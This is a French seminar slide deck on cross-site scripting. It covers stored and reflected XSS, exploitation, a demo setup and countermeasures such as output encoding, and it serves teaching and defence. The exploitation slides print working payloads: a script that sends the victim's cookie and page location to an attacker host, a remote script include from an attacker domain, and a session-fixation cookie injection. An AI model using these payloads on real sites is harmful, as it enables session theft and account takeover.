Вы находитесь на странице: 1из 20

HERVSCHAUERCONSULTANTS

CabinetdeConsultantsenScuritInformatiquedepuis1989 SpcialissurUnix,Windows,TCP/IPetInternet

Sminaire15ansHSC

FaillesXSS:Principes,Catgories Dmonstrations,Contremesures
<Alain.Thivillon@hsc.fr>
AlainThivillon

Plan

Rappels

Modle de fonctionnement du W eb Mcanismes de scurit des codes mobiles

Cross-Site Scripting

par stockage par rflexion

Exploitations

Insertion de tags HTML Redirections Vol de sessions (cookies, referer, ...) Fixation de session

Contre-mesures
Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

2 / 20

Rappel fonctionnement Web

Rappel : HTML est un langage

Un navigateur est un interprteur Analogie : Imprimante Postscript, Terminal VT (squences escapes) ou graphique (old Tektronix)

Le code excuter est envoy par le serveur via le protocole HTTP

Informations dans l'entte (cookies, type de document, status, ...) Corps du document : "tags" HTML (exemple <BODY> <IMG> ...)

Extensions dynamiques : JavaScript, DHTML

Interaction entre le document et le navigateur Gnration dynamique de la page cot client tag <SCRIPT> et attributs de type Onload, OnClick ...

3 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exemple HTTP
# socat - tcp4:127.0.0.1:80 GET /app1/auth.php HTTP/1.0 Host: localhost.hsc.fr HTTP/1.1 200 OK Date: Fri, 14 May 2004 08:20:11 GMT Server: Apache/2.0.49 (Gentoo/Linux) PHP/4.3.6RC2 X-Powered-By: PHP/4.3.6RC2 Set-Cookie: PHPSESSID=849c32ddc88c288f9ec78c9d392e0734; path=/ Connection: close Content-Type: text/html; charset=ISO-8859-1 <HTML><Title>Auth Page</Title> <BODY BGCOLOR="white"> <FORM METHOD="POST">Login&nbsp;<input type="text" name="login" length=10 maxlength=10><BR> Pass&nbsp;<input type="password" name="pass" length=10 maxlength=10><BR> <input type="submit" name="ok" value="login"><BR> </FORM> </BODY></HTML>
4 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Mcanismes JavaScript

Que peut faire le langage ?

Composer la page (document.write) Rcuprer des informations sur le document (document.cookie, document.location, ..) Charger une autre page (document.location = ...) Popups, ...

Mcanismes de scurit

Les proprits du document ne sont pas visibles par d'autres serveurs. Exemple : une frame charge depuis le serveur A ne peut pas lire les proprits d'une autre charge depuis le serveur B Le code JavaScript ne peut pas lire, modifier les prfrences ou le disque de l'utilisateur. Extensions Microsoft "Active Scripting" : zones de scurit
Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

5 / 20

Cross Site Scripting

XSS (diffrent de CSS == Cascading Style Sheet)

Insertion non prvue de code HTML ou JavaScript dans la page envoye par le serveur Excution de ce code par le navigateur dans le contexte de scurit du document envoy par le serveur Attaque par injection de code sur le navigateur du client via le serveur

Trois participants:

L'attaquant : introduit le code sur le serveur. Le serveur : envoie la page contenant le code la victime. La victime : excute le code introduit par l'attaquant.

Deux mthodes pour injecter le code:

Stockage par le serveur Page gnre partir de paramtres


Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

6 / 20

XSS par stockage

L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke Et l'envoie tel quel au client lors de la gnration et la visualisation de la page ...
<body> <h2>Vds Palm pas cher</h2><br> <hr> <script>alert("Coucou !")</script> </body>

POST /newart.php Host: www.communaute.com Content-Type: multipart/form-data subject=Vds%20Palm%20pas%20cher& texte=<script>alert("Coucou !")</script>

GET /article.php?id=9081 Host: www.communaute.com

7 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

XSS par "rflexion"

Utilisation d'une page paramtre

Exemple http://www.serveur.com/erreur.jsp?msg=<h3>TEXTE</h3> Affichage de la variable msg par le serveur

Envoi de l'URL via un Email ou un serveur de type tinyurl.com ou minilien.com


<body> <h4>Erreur:</h4><br> <script>alert("Coucou !")</script> </body> From: pirate@hotmail.com To: user@grosse-societe.fr Subject: Un site sympa

<html> Coucou, Regarde ce <a href= "http://www.serveur.com/erreur.jsp?msg= <script>alert("Coucou !');</script>">site ! </a> <html>

GET /erreur.jsp?msg=<script>alert ("Coucou !');</script> Host: www.serveur.com

8 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exploitation - 1

Insertion de tags HTML

En particulier de tags <IMG SRC=http://www.serveurXXX.com/image.jpg> Dgradation de l'image Forums pollus, masquage de la fin de la page

9 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exploitation - 2

Redirection automatique vers un autre site:

<script>document.location="http://www.hsc.fr/"</script>

Rend inutilisable la page gnre L'utilisateur ne comprend pas la manipulation Recupration du Referer (page prcdente) dans les journaux du serveur W eb de l'attaquant:
127.0.0.1 - - [14/May/2004:15:54:24 +0200] "GET / HTTP/1.1" 200 "http://localhost.hsc.fr/app1/article.php?id=15" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040207 Firefox/0.8"

Utilisation de scripts plus complexes, avec rcupration du source sur le serveur de l'attaquant:

<script src="http://www.attaquant.com/a.js"></script>

Contraintes de longueur contournes

10 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exploitation - 3

Rcupration des identifiants de session

Dans un cookie Ou dans l'URL Le but est de les faire apparaitre dans les journaux d'un serveur sous le contrle de l'attaquant

Exemple de code utilisant document.write :


<script> document.write( '<IMG SRC = "http://pirate.rominet.net/rominet.gif?' + 'location=' + document.location + '&cookie='+ document.cookie + '">'); </script>

L'image appele est :


http://pirate.rominet.net/rominet.gif?location=http://site.com/page.j sp&cookie=JSESSIONID=01919198181101AFR
11 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exploitation - 4

Fixation de session

Principe : utiliser un XSS afin d'imposer un cookie connu la victime Schma:

L'attaquant se connecte sur le serveur en mode anonyme Il reoit un cookie de session (ex JSP ou PHP) Il utilise un XSS sur un serveur du mme domaine pour fixer le cookie chez la victime (via le code JavaScript de type
document.cookie="PHPSESSIONID=78191;domain=.site.fr"

Il attend que la victime s'authentifie sur le serveur. Si celui ci est mal programm (exemple sessions J2EE), le cookie sera accept. L'attaquant possde alors un cookie de session authentifi valide qu'il peut utiliser en parallle avec la victime

Attaque de niveau 2, peu utilise

12 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Exploitation - 5
transaction.site.fr www.site.fr

GET / HTTP/1.0 Host: transaction.banque.fr

POST /auth.class HTTP/1.0 Host: transaction.banque.fr Cookie: JSESSIONID=123456789 login=user&pass=monpass

Set-Cookie: JSESSIONID=123456879

JSESSIONID=123456789;domaine=.site.fr <a href=http://www.site.fr/err.jsp?msg= <script>document.cookie="JSESSIONID=12345689; domaine=.site.fr"</script>

13 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Dmos !

Application PHP spcialement mal foutue Deux serveurs Web sur la machine :

http://mauvais-site.hsc.fr/ : Site Victime : forum authentifi , gestion de la session par cookie PHP, moteur de recherche http://pirate.rominet.net/ : Site de l'attaquant qui va rcuprer les cookies via une faille XSS.

Quelques types de XSS prsents

Stockage dans le sujet des articles Stockage dans le corps Moteur de recherche Visualisation des logs, rcupration des cookies et vol de la session

14 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Contre-mesures (1)

Ide la plus commune : Filtrer les entres

Supprimer <script> </script> ne rgle pas tout (IMG, <%00script>, ...) Il y a d'autres manires de gnrer du code dynamique (OnLoad, OnClick, IFRAME, ...) Il faut donc tre trs strict dans ce qui est accept, et comparer les entres par rapport une expression rgulire de type [a-zA-Z0-9]+

Est-on sr que le Web est la seule entre de l'application ?

Minitel ? W ap Flux XML ?

Est-on sr que le Web est la seule sortie de l'application ?

XML (RSS, W ebApps) PostScript


Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

15 / 20

Contre-mesures (2)
Wap Html

Xml

Browser

PostScript

Minitel XML (WebApps)

16 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Contre-mesures (3)

Il faut convertir les donnes en sortie

Systmatisation Ne dpend plus des entres ni du contenu des bases de donnes

Selon le langage

PHP : htmlentities() Perl : escapeHTML()dans CGI.pm J2EE : utilisation des taglibs ou des classes javax.swing.text.html ASP : HtmlEncode()

Limites de cette approche

Insertion de tags HTML limits Ncessite donc parfois un parsing et stockage de donnes structures Librairies de W ashing (http://linux.duke.edu/projects/mini/htmlfilter/)
Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

17 / 20

Contre mesures (4)

Utilisation de modles de haut niveau

STRUTS Librairies PEAR en PHP Modles MVC

Attention aux bugs dans les serveurs eux mme

Multiples exemples dans Apache, TomCat, IIS, W ebSphere, ... En gnral dans les pages d'erreurs Se tenir jour

Gestion scurise des cookies

Une session anonyme ne doit pas tre rutilise Utilisation du marquage secure et not for javascript des cookies Selon le langage a peut tre difficile
Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

18 / 20

Conclusions

Les problmes de XSS concernent la majorit des applications Web

C'est parfois considr comme un problme rsiduel Impacts pourtant potentiellement graves Attention : un XSS sur une partie d'un domaine peut impacter l'ensemble des sites

Solutions

Former les dveloppeurs ! Penser globalement aux problmes de validation des donnes Utiliser des technologies qui rduisent les risques Faire auditer les applications (audit de code ou audit intrusif aveugle)

19 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite

Rfrences

CERT Advisory CA-2000-02 : http://www.cert.org/advisories/CA-2000-02.html XSS Holes http://www.perl.com/pub/a/2002/02/20/css.html Filtrer les entres : http://www.cert.org/tech_tips/cgi_metacharacters.html Guides OWASP : Top Ten Web Vulnrabilities : http://prdownloads.sourceforge.net/owasp/OWASPTopTen2004.pdf XSS Faq: http://www.cgisecurity.com/articles/xss-faq.shtml Real World XSS : http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html

20 / 20

Copyright Herv Schauer Consultants 2000-2004 - Reproduction Interdite